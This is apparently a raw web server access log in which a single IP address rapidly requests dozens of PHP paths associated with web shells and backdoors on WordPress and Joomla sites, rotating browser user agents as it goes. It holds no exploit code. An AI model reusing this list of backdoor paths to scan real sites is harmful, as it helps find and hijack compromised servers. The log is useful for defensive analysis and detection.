- [12/Feb/2026:14:38:55 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:55 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:55 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:56 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:56 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:56 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:57 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:57 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:57 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:58 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:38:58 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:59 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:59 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:59 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:39:00 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:00 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:00 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:39:01 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:39:01 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:02 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:02 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:02 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:03 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:03 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:03 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:04 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:39:04 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:04 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:05 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:05 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:39:06 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:06 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:06 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:39:07 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:07 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:07 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:08 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:39:08 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:08 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:39:09 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:09 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:09 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:39:10 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:10 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:11 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:11 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:11 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:12 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:39:12 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:12 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:13 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:13 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:13 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:39:14 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:14 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:39:14 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:39:15 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:15 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:15 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:16 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:39:16 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:16 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:39:17 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:17 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:17 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:18 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:39:18 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:18 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:19 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:19 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:20 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:20 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:20 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:21 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:21 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:21 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:22 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:22 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:22 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:23 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:23 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:23 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:24 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:24 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:24 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:25 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:25 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:26 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:26 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:26 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:39:27 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:27 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:39:27 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:28 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:28 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:28 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:29 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:29 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:29 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:39:30 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:39:30 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:30 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:31 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:31 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:31 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:32 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:32 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:33 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:33 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:33 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:34 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:34 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:34 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:35 